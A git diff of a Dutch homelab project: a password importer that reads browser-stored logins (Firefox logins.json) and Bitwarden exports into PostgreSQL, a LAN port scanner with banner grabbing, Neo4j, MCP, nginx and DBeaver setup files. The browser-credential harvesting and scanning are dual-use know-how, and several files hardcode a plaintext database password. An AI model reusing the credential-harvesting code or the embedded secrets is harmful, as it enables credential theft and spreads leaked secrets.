|
def extract_firefox_passwords():
|
||||||
|
"""Extracteer wachtwoorden uit Firefox. Vereist dat Firefox draait of de master password bekend is."""
|
||||||
|
import sqlite3
|
||||||
|
|
||||||
|
appdata = os.environ.get("APPDATA", "")
|
||||||
|
profiles_dir = os.path.join(appdata, "Mozilla", "Firefox", "Profiles")
|
||||||
|
|
||||||
|
if not os.path.exists(profiles_dir):
|
||||||
|
return []
|
||||||
|
|
||||||
|
# Firefox gebruikt logins.json en key4.db
|
||||||
|
# De encryptie is complexer (NSS/PKCS11). We kunnen wel de logins.json lezen
|
||||||
|
# en de gebruiker vragen Firefox te openen om te decrypteren.
|
||||||
|
|
||||||
|
all_passwords = []
|
||||||
|
for profile in os.listdir(profiles_dir):
|
||||||
|
logins_path = os.path.join(profiles_dir, profile, "logins.json")
|
||||||
|
if not os.path.exists(logins_path):
|
||||||
|
continue
|
||||||
|
|
||||||
|
try:
|
||||||
|
with open(logins_path, "r", encoding="utf-8") as f:
|
||||||
|
data = json.load(f)
|
||||||
|
|
||||||
|
count = 0
|
||||||
|
for entry in data.get("logins", []):
|
||||||
|
all_passwords.append({
|
||||||
|
"title": entry.get("hostname", "Onbekend"),
|
||||||
|
"url": entry.get("hostname", ""),
|
||||||
|
"username": entry.get("encryptedUsername", "(encrypted)"),
|
||||||
|
"password": entry.get("encryptedPassword", "(encrypted)"),
|
||||||
|
})
|
||||||
|
count += 1
|
||||||
|
print(f" Firefox/{profile}: {count} logins gevonden (versleuteld)")
|
||||||
|
except Exception as e:
|
||||||
|
print(f" Fout bij Firefox/{profile}: {e}")
|
||||||
|
|
||||||
|
return all_passwords
|
||||||
|
|
||||||
|
|
||||||
|
def import_to_db(passwords: list[dict], dry_run: bool = False):
|
||||||
|
"""Importeer wachtwoorden in de PostgreSQL database."""
|
||||||
|
if not passwords:
|
||||||
|
print("\nGeen wachtwoorden gevonden om te importeren.")
|
||||||
|
return
|
||||||
|
|
||||||
|
print(f"\nImporteren van {len(passwords)} wachtwoorden...")
|
||||||
|
|
||||||
|
existing = query("SELECT url, username FROM passwords")
|
||||||
|
existing_pairs = {(r["url"], r["username"]) for r in existing}
|
||||||
|
|
||||||
|
imported = 0
|
||||||
|
skipped = 0
|
||||||
|
|
||||||
|
for pw in passwords:
|
||||||
|
if (pw.get("url"), pw.get("username")) in existing_pairs:
|
||||||
|
skipped += 1
|
||||||
|
continue
|
||||||
|
|
||||||
|
if dry_run:
|
||||||
|
print(f" [DRY RUN] {pw['title']}: {pw['username']} @ {pw['url']}")
|
||||||
|
imported += 1
|
||||||
|
continue
|
||||||
|
|
||||||
|
try:
|
||||||
|
encrypted = _encrypt(pw["password"])
|
||||||
|
execute(
|
||||||
|
"""INSERT INTO passwords (title, url, username, password_encrypted, notes, category)
|
||||||
|
VALUES (%s, %s, %s, %s, %s, %s)""",
|
||||||
|
(pw["title"], pw.get("url", ""), pw.get("username", ""),
|
||||||
|
encrypted, pw.get("notes", ""), pw.get("category", "Algemeen"))
|
||||||
|
)
|
||||||
|
imported += 1
|
||||||
|
except Exception as e:
|
||||||
|
print(f" Fout bij {pw['title']}: {e}")
|
||||||
|
|
||||||
|
print(f"\nResultaat: {imported} geimporteerd, {skipped} overgeslagen (bestond al)")
|
||||||
|
|
||||||
|
# Toon totaal
|
||||||
|
total = query("SELECT count(*) as c FROM passwords", fetch="one")
|
||||||
|
print(f"Totaal in database: {total['c']} wachtwoorden")
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser = argparse.ArgumentParser(description="Importeer wachtwoorden in PostgreSQL")
|
||||||
|
parser.add_argument("--browser", action="store_true", help="Extract uit lokale browsers")
|
||||||
|
parser.add_argument("--csv", type=str, help="Importeer uit Bitwarden/Vaultwarden CSV export")
|
||||||
|
parser.add_argument("--json", type=str, help="Importeer uit JSON bestand")
|
||||||
|
parser.add_argument("--dry-run", action="store_true", help="Toon wat geimporteerd zou worden")
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
passwords = []
|
||||||
|
|
||||||
|
if args.browser:
|
||||||
|
print("=== Extractie uit browsers ===\n")
|
||||||
|
passwords.extend(extract_chrome_passwords())
|
||||||
|
passwords.extend(extract_firefox_passwords())
|
||||||
|
|
||||||
|
if not passwords:
|
||||||
|
print("\nGeen browser wachtwoorden gevonden!")
|
||||||
|
print("Je kunt je wachtwoorden exporteren uit Vaultwarden/Bitwarden:")
|
||||||
|
print(" 1. Open http://192.168.1.6:8000")
|
||||||
|
print(" 2. Ga naar Tools -> Export Vault")
|
||||||
|
print(" 3. Kies .csv of .json formaat")
|
||||||
|
print(f" 4. python {sys.argv[0]} --csv export.csv")
|
||||||
|
return
|
||||||
|
|
||||||
|
elif args.csv:
|
||||||
|
print(f"=== Import uit CSV: {args.csv} ===\n")
|
||||||
|
with open(args.csv, "r", encoding="utf-8-sig") as f:
|
||||||
|
reader = csv.DictReader(f)
|
||||||
|
for row in reader:
|
||||||
|
passwords.append({
|
||||||
|
"title": row.get("name", row.get("title", "Onbekend")),
|
||||||
|
"url": row.get("login_uri", row.get("url", "")),
|
||||||
|
"username": row.get("login_username", row.get("username", "")),
|
||||||
|
"password": row.get("login_password", row.get("password", "")),
|
||||||
|
"notes": row.get("notes", ""),
|
||||||
|
})
|
||||||
|
print(f" {len(passwords)} wachtwoorden uit CSV gelezen")
|
||||||
|
|
||||||
|
elif args.json:
|
||||||
|
print(f"=== Import uit JSON: {args.json} ===\n")
|
||||||
|
with open(args.json, "r", encoding="utf-8") as f:
|
||||||
|
data = json.load(f)
|
||||||
|
|
||||||
|
if isinstance(data, dict) and "items" in data:
|
||||||
|
# Bitwarden/Vaultwarden JSON export formaat
|
||||||
|
for item in data.get("items", []):
|
||||||
|
if item.get("type") == 1: # Login type
|
||||||
|
login = item.get("login", {})
|
||||||
|
passwords.append({
|
||||||
|
"title": item.get("name", "Onbekend"),
|
||||||
|
"url": login.get("uris", [{}])[0].get("uri", "") if login.get("uris") else "",
|
||||||
|
"username": login.get("username", ""),
|
||||||
|
"password": login.get("password", ""),
|
||||||
|
"notes": item.get("notes", ""),
|
||||||
|
})
|
||||||
|
else:
|
||||||
|
passwords = data
|
||||||
|
|
||||||
|
print(f" {len(passwords)} wachtwoorden uit JSON gelezen")
|
||||||
|
|
||||||
|
else:
|
||||||
|
parser.print_help()
|
||||||
|
print("\nVoorbeelden:")
|
||||||
|
print(" python import_passwords.py --browser (Chrome/Edge/Firefox)")
|
||||||
|
print(" python import_passwords.py --csv bitwarden.csv (Vaultwarden export)")
|
||||||
|
print(" python import_passwords.py --json vault.json (JSON export)")
|
||||||
|
print(" python import_passwords.py --browser --dry-run (test-modus)")
|
||||||
|
return
|
||||||
|
|
||||||
|
import_to_db(passwords, dry_run=args.dry_run)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
@@ -0,0 +1,82 @@
|
|||||||
|
"""
|
||||||
|
Importeer scanresultaten naar Neo4j.
|
||||||
|
|
||||||
|
Gebruik:
|
||||||
|
python import_to_neo4j.py
|
||||||
|
python import_to_neo4j.py --password jouw_wachtwoord
|
||||||
|
"""
|
||||||
|
|
||||||
|
import sys
|
||||||
|
import logging
|
||||||
|
import os
|
||||||
|
|
||||||
|
logging.basicConfig(level=logging.INFO, format="%(levelname)s: %(message)s")
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
# Password via CLI argument of env var
|
||||||
|
password = os.getenv("NEO4J_PASSWORD", "")
|
||||||
|
if "--password" in sys.argv:
|
||||||
|
idx = sys.argv.index("--password")
|
||||||
|
if idx + 1 < len(sys.argv):
|
||||||
|
password = sys.argv[idx + 1]
|
||||||
|
if not password:
|
||||||
|
print("Geef Neo4j wachtwoord mee: NEO4J_PASSWORD=... python import_to_neo4j.py")
|
||||||
|
print("Of: python import_to_neo4j.py --password jouw_wachtwoord")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
os.environ["NEO4J_PASSWORD"] = password
|
||||||
|
|
||||||
|
from src.neo4j_client import init_schema, import_scan, get_all_devices, get_network_summary, close
|
||||||
|
from src.scan_data import SCAN_RESULTS
|
||||||
|
|
||||||
|
print("=" * 60)
|
||||||
|
print("Neo4j Thuisnetwerk Import")
|
||||||
|
print("=" * 60)
|
||||||
|
|
||||||
|
# Init
|
||||||
|
try:
|
||||||
|
init_schema()
|
||||||
|
except Exception as e:
|
||||||
|
logger.error("Kan geen verbinding maken met Neo4j: %s", e)
|
||||||
|
logger.error("Check of Neo4j draait op neo4j://192.168.1.211:49153")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
# Import
|
||||||
|
print(f"\nImporteren van {len(SCAN_RESULTS)} devices...")
|
||||||
|
try:
|
||||||
|
summary = import_scan(SCAN_RESULTS)
|
||||||
|
print(f"\n{summary}")
|
||||||
|
except Exception as e:
|
||||||
|
logger.error("Import fout: %s", e)
|
||||||
|
close()
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
# Toon resultaten
|
||||||
|
print("\n" + "-" * 60)
|
||||||
|
network_summary = get_network_summary()
|
||||||
|
print(f"Database: {network_summary['total_devices']} devices, "
|
||||||
|
f"{network_summary['total_ports']} unieke poorten")
|
||||||
|
|
||||||
|
devices = get_all_devices()
|
||||||
|
print(f"\n{'IP':<16} {'Naam':<32} {'OS':<28} {'Poorten'}")
|
||||||
|
print("-" * 90)
|
||||||
|
for d in devices:
|
||||||
|
ports = d.get("ports") or []
|
||||||
|
port_str = ", ".join(str(p["port"]) for p in ports if p and p.get("port"))
|
||||||
|
print(f"{d['ip']:<16} {d['hostname'][:31]:<32} {d['os_guess'][:27]:<28} {port_str}")
|
||||||
|
|
||||||
|
# Categorieen
|
||||||
|
print(f"\n--- Categorieen ---")
|
||||||
|
from collections import Counter
|
||||||
|
cats = Counter(d["os_guess"] for d in devices)
|
||||||
|
for cat, count in cats.most_common():
|
||||||
|
print(f" {cat:<40} {count}x")
|
||||||
|
|
||||||
|
close()
|
||||||
|
print("\nKlaar! Je netwerk staat nu in Neo4j.")
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
@@ -0,0 +1,25 @@
|
|||||||
|
# DeepSeek TUI — MCP Server Configuratie voor HA Voice Control
|
||||||
|
|
||||||
|
# Plaats dit in je DeepSeek TUI config.toml (meestal ~/.deepseek/config.toml):
|
||||||
|
|
||||||
|
[[mcp_servers]]
|
||||||
|
name = "ha-voice-control"
|
||||||
|
command = "python"
|
||||||
|
args = ["-m", "src.mcp_server"]
|
||||||
|
cwd = "C:\\Users\\moel-\\Desktop\\dev\\mcp"
|
||||||
|
env = { HA_TOKEN = "", WHISPER_MODE = "local", NEO4J_PASSWORD = "WaQTUw2t", PG_PASSWORD = "WaQTUw2t" }
|
||||||
|
|
||||||
|
# ── Optioneel: auto-start netwerk context injectie ────────────────────────
|
||||||
|
# DeepSeek TUI zal de MCP tools automatisch zien.
|
||||||
|
# Roep `get_network_context` aan voor een volledig netwerkoverzicht als RAG context.
|
||||||
|
#
|
||||||
|
# Tools beschikbaar:
|
||||||
|
# get_network_context — Volledige netwerk/homelab context (RAG)
|
||||||
|
# query_network — Zoekopdrachten in Neo4j netwerk DB
|
||||||
|
# list_lights — HA lampen status
|
||||||
|
# control_light — Lamp aan/uit/dim
|
||||||
|
# send_text_command — Stuur NL commando naar HA
|
||||||
|
# speak_command — Spraak → transcriptie → HA
|
||||||
|
# list_all_entities — Alle HA entities
|
||||||
|
# get_entity_state — State van één entity
|
||||||
|
# call_ha_service — Willekeurige HA service
|
||||||
@@ -0,0 +1,76 @@
|
|||||||
|
# Home Assistant — nginx reverse proxy config
|
||||||
|
# Domein: www.ha.el-kadi.nl → backend op localhost:8765
|
||||||
|
#
|
||||||
|
# Plaats dit bestand in /etc/nginx/sites-available/ en symlink naar sites-enabled/
|
||||||
|
# Of in /etc/nginx/conf.d/ (afhankelijk van je nginx setup)
|
||||||
|
#
|
||||||
|
# Zorg dat je SSL certificaten klaarliggen (bijv. via Let's Encrypt / certbot).
|
||||||
|
|
||||||
|
server {
|
||||||
|
listen 80;
|
||||||
|
server_name www.ha.el-kadi.nl ha.el-kadi.nl;
|
||||||
|
|
||||||
|
# Redirect alle HTTP naar HTTPS
|
||||||
|
return 301 https://$host$request_uri;
|
||||||
|
}
|
||||||
|
|
||||||
|
server {
|
||||||
|
listen 443 ssl http2;
|
||||||
|
server_name www.ha.el-kadi.nl ha.el-kadi.nl;
|
||||||
|
|
||||||
|
# ── SSL certificaten ─────────────────────────────────────────────────
|
||||||
|
# Vervang deze paden met jouw certificaat-locatie
|
||||||
|
ssl_certificate /etc/letsencrypt/live/ha.el-kadi.nl/fullchain.pem;
|
||||||
|
ssl_certificate_key /etc/letsencrypt/live/ha.el-kadi.nl/privkey.pem;
|
||||||
|
|
||||||
|
# ── SSL beveiliging ──────────────────────────────────────────────────
|
||||||
|
ssl_protocols TLSv1.2 TLSv1.3;
|
||||||
|
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384;
|
||||||
|
ssl_prefer_server_ciphers off;
|
||||||
|
ssl_session_cache shared:SSL:10m;
|
||||||
|
ssl_session_timeout 1d;
|
||||||
|
|
||||||
|
# ── security headers ─────────────────────────────────────────────────
|
||||||
|
add_header Strict-Transport-Security "max-age=63072000" always;
|
||||||
|
add_header X-Frame-Options "SAMEORIGIN" always;
|
||||||
|
add_header X-Content-Type-Options "nosniff" always;
|
||||||
|
|
||||||
|
# ── logging ──────────────────────────────────────────────────────────
|
||||||
|
access_log /var/log/nginx/ha-voice-access.log;
|
||||||
|
error_log /var/log/nginx/ha-voice-error.log;
|
||||||
|
|
||||||
|
# ── proxy naar de FastAPI web server ─────────────────────────────────
|
||||||
|
location / {
|
||||||
|
proxy_pass http://127.0.0.1:8765;
|
||||||
|
proxy_http_version 1.1;
|
||||||
|
|
||||||
|
proxy_set_header Host $host;
|
||||||
|
proxy_set_header X-Real-IP $remote_addr;
|
||||||
|
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||||
|
proxy_set_header X-Forwarded-Proto $scheme;
|
||||||
|
|
||||||
|
# WebSocket ondersteuning (voor toekomstige live updates)
|
||||||
|
proxy_set_header Upgrade $http_upgrade;
|
||||||
|
proxy_set_header Connection "upgrade";
|
||||||
|
|
||||||
|
# Timeouts voor lange audio uploads
|
||||||
|
proxy_read_timeout 120s;
|
||||||
|
proxy_send_timeout 120s;
|
||||||
|
client_max_body_size 10M;
|
||||||
|
}
|
||||||
|
|
||||||
|
# ── API specifiek ────────────────────────────────────────────────────
|
||||||
|
location /api/ {
|
||||||
|
proxy_pass http://127.0.0.1:8765;
|
||||||
|
proxy_http_version 1.1;
|
||||||
|
|
||||||
|
proxy_set_header Host $host;
|
||||||
|
proxy_set_header X-Real-IP $remote_addr;
|
||||||
|
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||||
|
proxy_set_header X-Forwarded-Proto $scheme;
|
||||||
|
|
||||||
|
proxy_read_timeout 120s;
|
||||||
|
proxy_send_timeout 120s;
|
||||||
|
client_max_body_size 10M;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,2 @@
|
|||||||
|
# Neo4j graph database driver
|
||||||
|
neo4j>=5.20.0
|
||||||
@@ -0,0 +1,27 @@
|
|||||||
|
# MCP protocol
|
||||||
|
mcp>=1.0.0
|
||||||
|
|
||||||
|
# Web server + API
|
||||||
|
fastapi>=0.110.0
|
||||||
|
uvicorn[standard]>=0.29.0
|
||||||
|
python-multipart>=0.0.9
|
||||||
|
aiofiles>=23.0.0
|
||||||
|
|
||||||
|
# HTTP client (Home Assistant API)
|
||||||
|
httpx>=0.27.0
|
||||||
|
|
||||||
|
# Whisper speech-to-text (lokale modus)
|
||||||
|
faster-whisper>=1.0.0
|
||||||
|
|
||||||
|
# OpenAI API (optioneel, voor API-gebaseerde whisper)
|
||||||
|
openai>=1.0.0
|
||||||
|
|
||||||
|
# Database clients
|
||||||
|
psycopg2-binary>=2.9.0
|
||||||
|
|
||||||
|
# Configuratie & data validatie
|
||||||
|
pydantic>=2.0.0
|
||||||
|
pydantic-settings>=2.0.0
|
||||||
|
|
||||||
|
# .env bestand laden
|
||||||
|
python-dotenv>=1.0.0
|
||||||
+208
@@ -0,0 +1,208 @@
|
|||||||
|
"""
|
||||||
|
Netwerkscanner v3 — robuust op Windows.
|
||||||
|
Fase 1: ICMP host-discovery in kleine batches.
|
||||||
|
Fase 2: TCP poortscan op actieve hosts.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import socket
|
||||||
|
import struct
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
import ipaddress
|
||||||
|
import subprocess
|
||||||
|
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||||
|
|
||||||
|
NETWORK = "192.168.1.0/24"
|
||||||
|
TIMEOUT = 0.5
|
||||||
|
MAX_THREADS = 25 # lager voor Windows-stabiliteit
|
||||||
|
|
||||||
|
TOP_PORTS = [
|
||||||
|
21, 22, 23, 25, 53, 80, 81, 88, 110, 111, 135, 139, 143, 161, 389,
|
||||||
|
443, 445, 465, 500, 514, 515, 548, 554, 587, 631, 636, 873, 993, 995,
|
||||||
|
1433, 1521, 1723, 1880, 1883, 2049, 2082, 2083, 2222, 3128, 3306, 3389,
|
||||||
|
5000, 5432, 5900, 6379, 7001, 8000, 8008, 8080, 8081, 8123, 8443, 8888,
|
||||||
|
9000, 9090, 9200, 9443, 10000, 27017,
|
||||||
|
]
|
||||||
|
|
||||||
|
PROBES = {
|
||||||
|
22: b'', 25: b'', 80: b'GET / HTTP/1.0\r\nHost: scan\r\n\r\n',
|
||||||
|
443: b'GET / HTTP/1.0\r\nHost: scan\r\n\r\n',
|
||||||
|
3306: b'', 5432: b'', 6379: b'PING\r\n',
|
||||||
|
8080: b'GET / HTTP/1.0\r\nHost: scan\r\n\r\n',
|
||||||
|
8123: b'GET /api/ HTTP/1.0\r\nHost: scan\r\n\r\n',
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def ping_host(ip):
|
||||||
|
"""ICMP ping, retourneert (ip, True/False)."""
|
||||||
|
try:
|
||||||
|
cmd = ["ping", "-n", "1", "-w", "1500", ip]
|
||||||
|
r = subprocess.run(cmd, capture_output=True, timeout=3)
|
||||||
|
return (ip, r.returncode == 0)
|
||||||
|
except Exception:
|
||||||
|
return (ip, False)
|
||||||
|
|
||||||
|
|
||||||
|
def tcp_scan(ip, ports):
|
||||||
|
"""Scan TCP-poorten op één host. Retourneert dict met resultaten."""
|
||||||
|
open_ports = []
|
||||||
|
banners = {}
|
||||||
|
for port in ports:
|
||||||
|
try:
|
||||||
|
s = socket.create_connection((ip, port), timeout=TIMEOUT)
|
||||||
|
# Banner grab
|
||||||
|
probe = PROBES.get(port)
|
||||||
|
if probe:
|
||||||
|
try:
|
||||||
|
s.sendall(probe)
|
||||||
|
s.settimeout(0.5)
|
||||||
|
b = s.recv(512)
|
||||||
|
text = b.decode("latin-1", errors="replace").split("\r\n")[0].strip()
|
||||||
|
banners[port] = text[:100]
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
s.close()
|
||||||
|
open_ports.append(port)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
return {"ip": ip, "open_ports": open_ports, "banners": banners}
|
||||||
|
|
||||||
|
|
||||||
|
def guess_os(ports, banners):
|
||||||
|
p = set(ports)
|
||||||
|
if 8123 in p:
|
||||||
|
b = banners.get(8123, "")
|
||||||
|
return "Home Assistant" if "Home Assistant" in b else "Home Assistant/Linux"
|
||||||
|
if 445 in p and 3389 in p: return "Windows (SMB+RDP)"
|
||||||
|
if 445 in p and 135 in p: return "Windows (SMB+RPC)"
|
||||||
|
if 3389 in p: return "Windows (RDP)"
|
||||||
|
if 22 in p and 80 in p and 443 in p: return "Linux (SSH+Web)"
|
||||||
|
if 22 in p and 5432 in p: return "Linux (PostgreSQL)"
|
||||||
|
if 22 in p and 3306 in p: return "Linux (MySQL)"
|
||||||
|
if 22 in p: return "Linux (SSH)"
|
||||||
|
if 53 in p and 80 in p: return "Router/Gateway (DNS+Web)"
|
||||||
|
if 53 in p: return "Router/Gateway (DNS)"
|
||||||
|
if 1883 in p: return "MQTT Broker (IoT)"
|
||||||
|
if 80 in p or 443 in p: return "Webserver"
|
||||||
|
return "Onbekend"
|
||||||
|
|
||||||
|
|
||||||
|
def resolve_hostname(ip):
|
||||||
|
try:
|
||||||
|
return socket.gethostbyaddr(ip)[0]
|
||||||
|
except Exception:
|
||||||
|
return ip
|
||||||
|
|
||||||
|
|
||||||
|
def get_mac(ip):
|
||||||
|
try:
|
||||||
|
r = subprocess.run(["arp", "-a", ip], capture_output=True, text=True, timeout=2)
|
||||||
|
for line in r.stdout.splitlines():
|
||||||
|
if ip in line:
|
||||||
|
for part in line.split():
|
||||||
|
if "-" in part and len(part) == 17:
|
||||||
|
return part.replace("-", ":").upper()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
return ""
|
||||||
|
|
||||||
|
|
||||||
|
# ── main ─────────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
net = ipaddress.ip_network(NETWORK, strict=False)
|
||||||
|
all_hosts = [str(h) for h in net.hosts()]
|
||||||
|
total = len(all_hosts)
|
||||||
|
|
||||||
|
print(f"Netwerk scan: {NETWORK}")
|
||||||
|
print(f"Hosts: {total} | Poorten: {len(TOP_PORTS)} | Threads: {MAX_THREADS}")
|
||||||
|
print("=" * 70)
|
||||||
|
|
||||||
|
t0 = time.time()
|
||||||
|
|
||||||
|
# ── Fase 1: Host discovery via ICMP ping ──────────────────────────────
|
||||||
|
print("\n[Fase 1] ICMP host discovery...")
|
||||||
|
alive = []
|
||||||
|
with ThreadPoolExecutor(max_workers=MAX_THREADS) as ex:
|
||||||
|
futs = [ex.submit(ping_host, ip) for ip in all_hosts]
|
||||||
|
for i, fut in enumerate(as_completed(futs), 1):
|
||||||
|
ip, ok = fut.result()
|
||||||
|
if ok:
|
||||||
|
alive.append(ip)
|
||||||
|
if i % 20 == 0 or i == total:
|
||||||
|
print(f"\r {i}/{total} getest, {len(alive)} actief", end="", flush=True)
|
||||||
|
|
||||||
|
print(f"\n Klaar: {len(alive)} actieve host(s) in {time.time()-t0:.0f}s")
|
||||||
|
|
||||||
|
if not alive:
|
||||||
|
print("\nGeen actieve hosts gevonden.")
|
||||||
|
return
|
||||||
|
|
||||||
|
# ── Fase 2: TCP-poortscan op actieve hosts ────────────────────────────
|
||||||
|
print(f"\n[Fase 2] TCP poortscan op {len(alive)} host(s)...")
|
||||||
|
results = []
|
||||||
|
with ThreadPoolExecutor(max_workers=min(MAX_THREADS, len(alive))) as ex:
|
||||||
|
futs = {ex.submit(tcp_scan, ip, TOP_PORTS): ip for ip in alive}
|
||||||
|
for i, fut in enumerate(as_completed(futs), 1):
|
||||||
|
ip = futs[fut]
|
||||||
|
try:
|
||||||
|
r = fut.result()
|
||||||
|
r["hostname"] = resolve_hostname(ip)
|
||||||
|
r["mac"] = get_mac(ip)
|
||||||
|
r["os_guess"] = guess_os(r["open_ports"], r["banners"])
|
||||||
|
results.append(r)
|
||||||
|
except Exception as e:
|
||||||
|
print(f"\n Fout bij {ip}: {e}")
|
||||||
|
if i % 5 == 0 or i == len(alive):
|
||||||
|
print(f"\r {i}/{len(alive)} hosts gescand", end="", flush=True)
|
||||||
|
|
||||||
|
elapsed = time.time() - t0
|
||||||
|
print(f"\n Klaar in {elapsed:.0f}s\n")
|
||||||
|
|
||||||
|
# ── Output ────────────────────────────────────────────────────────────
|
||||||
|
results.sort(key=lambda r: ipaddress.IPv4Address(r["ip"]))
|
||||||
|
|
||||||
|
for h in results:
|
||||||
|
ip = h["ip"]
|
||||||
|
ports = h["open_ports"]
|
||||||
|
banners = h["banners"]
|
||||||
|
|
||||||
|
pnames = {}
|
||||||
|
for p in ports:
|
||||||
|
try:
|
||||||
|
pnames[p] = socket.getservbyport(p, "tcp")
|
||||||
|
except Exception:
|
||||||
|
pnames[p] = "?"
|
||||||
|
|
||||||
|
print("-" * 70)
|
||||||
|
print(f" IP : {ip}")
|
||||||
|
if h["hostname"] != ip:
|
||||||
|
print(f" Hostname : {h['hostname']}")
|
||||||
|
if h["mac"]:
|
||||||
|
print(f" MAC : {h['mac']}")
|
||||||
|
print(f" OS (guess) : {h['os_guess']}")
|
||||||
|
print(f" Open poorten ({len(ports)}):")
|
||||||
|
if ports:
|
||||||
|
for p in ports:
|
||||||
|
svc = pnames.get(p, "?")
|
||||||
|
b = banners.get(p, "")
|
||||||
|
line = f" {p:>5}/tcp {svc:<14}"
|
||||||
|
if b:
|
||||||
|
line += f" [{b}]"
|
||||||
|
print(line)
|
||||||
|
else:
|
||||||
|
print(" (alle geteste poorten zijn gesloten/gefilterd)")
|
||||||
|
print()
|
||||||
|
|
||||||
|
# ── Samenvatting ──────────────────────────────────────────────────────
|
||||||
|
print("=" * 70)
|
||||||
|
print(f"{'IP':<16} {'MAC':<18} {'Hostname':<30} {'OS':<26} {'Poorten':>7}")
|
||||||
|
print("-" * 100)
|
||||||
|
for h in results:
|
||||||
|
print(f"{h['ip']:<16} {h['mac']:<18} {h['hostname'][:29]:<30} {h['os_guess'][:25]:<26} {len(h['open_ports']):>7}")
|
||||||
|
print()
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
@@ -0,0 +1,165 @@
|
|||||||
|
# PowerShell script — DBeaver Connecties Automatisch Toevoegen
|
||||||
|
# ============================================================
|
||||||
|
# Dit script detecteert DBeaver en voegt PostgreSQL + Neo4j connecties toe.
|
||||||
|
#
|
||||||
|
# Gebruik:
|
||||||
|
# powershell -ExecutionPolicy Bypass -File setup_dbeaver.ps1
|
||||||
|
|
||||||
|
$ErrorActionPreference = "Stop"
|
||||||
|
|
||||||
|
Write-Host "=== DBeaver Connectie Setup ===" -ForegroundColor Cyan
|
||||||
|
Write-Host ""
|
||||||
|
|
||||||
|
# 1. Zoek DBeaver installatie
|
||||||
|
$dbeaverPaths = @(
|
||||||
|
"$env:APPDATA\DBeaverData",
|
||||||
|
"$env:LOCALAPPDATA\DBeaver",
|
||||||
|
"$env:USERPROFILE\AppData\Roaming\DBeaverData",
|
||||||
|
"$env:USERPROFILE\.dbeaver"
|
||||||
|
)
|
||||||
|
|
||||||
|
$found = $false
|
||||||
|
foreach ($path in $dbeaverPaths) {
|
||||||
|
if (Test-Path $path) {
|
||||||
|
Write-Host "DBeaver data gevonden op: $path" -ForegroundColor Green
|
||||||
|
$found = $true
|
||||||
|
|
||||||
|
# Zoek alle workspace directories
|
||||||
|
$workspaces = Get-ChildItem -Path $path -Directory -Filter "workspace*" -ErrorAction SilentlyContinue
|
||||||
|
|
||||||
|
foreach ($ws in $workspaces) {
|
||||||
|
$dbeaverDir = Join-Path $ws.FullName "General\.dbeaver"
|
||||||
|
if (-not (Test-Path $dbeaverDir)) {
|
||||||
|
New-Item -ItemType Directory -Path $dbeaverDir -Force | Out-Null
|
||||||
|
}
|
||||||
|
|
||||||
|
$configFile = Join-Path $dbeaverDir "data-sources.json"
|
||||||
|
|
||||||
|
Write-Host " Workspace: $($ws.Name) -> $configFile" -ForegroundColor Gray
|
||||||
|
|
||||||
|
# Lees bestaande config (of maak nieuwe)
|
||||||
|
$config = $null
|
||||||
|
if (Test-Path $configFile) {
|
||||||
|
try {
|
||||||
|
$config = Get-Content $configFile -Raw | ConvertFrom-Json
|
||||||
|
Write-Host " Bestaande config gevonden: $(($config.connections.PSObject.Properties | Measure-Object).Count) connecties" -ForegroundColor Gray
|
||||||
|
} catch {
|
||||||
|
Write-Host " Waarschuwing: Kon bestaande config niet lezen, maak nieuwe" -ForegroundColor Yellow
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (-not $config -or -not $config.connections) {
|
||||||
|
$config = [PSCustomObject]@{
|
||||||
|
folders = @{}
|
||||||
|
connections = @{}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Voeg PostgreSQL connectie toe (als die nog niet bestaat)
|
||||||
|
$pgConnId = "postgresql-homelab-dashboard"
|
||||||
|
if (-not $config.connections.$pgConnId) {
|
||||||
|
$config.connections | Add-Member -MemberType NoteProperty -Name $pgConnId -Value ([PSCustomObject]@{
|
||||||
|
provider = "postgresql"
|
||||||
|
driver = "postgresql-jdbc"
|
||||||
|
name = "Homelab PostgreSQL (Dashboard)"
|
||||||
|
host = "192.168.1.211"
|
||||||
|
port = "5433"
|
||||||
|
database = "homelab"
|
||||||
|
user = "mo"
|
||||||
|
password = "WaQTUw2t"
|
||||||
|
savePassword = $true
|
||||||
|
configurationType = "MANUAL"
|
||||||
|
showSystemObjects = $false
|
||||||
|
properties = @{
|
||||||
|
connectTimeout = "20"
|
||||||
|
loginTimeout = "20"
|
||||||
|
}
|
||||||
|
})
|
||||||
|
Write-Host " + PostgreSQL connectie toegevoegd" -ForegroundColor Green
|
||||||
|
} else {
|
||||||
|
Write-Host " PostgreSQL connectie bestaat al" -ForegroundColor Gray
|
||||||
|
}
|
||||||
|
|
||||||
|
# Voeg Neo4j connectie toe
|
||||||
|
$neoConnId = "neo4j-homelab-network"
|
||||||
|
if (-not $config.connections.$neoConnId) {
|
||||||
|
$config.connections | Add-Member -MemberType NoteProperty -Name $neoConnId -Value ([PSCustomObject]@{
|
||||||
|
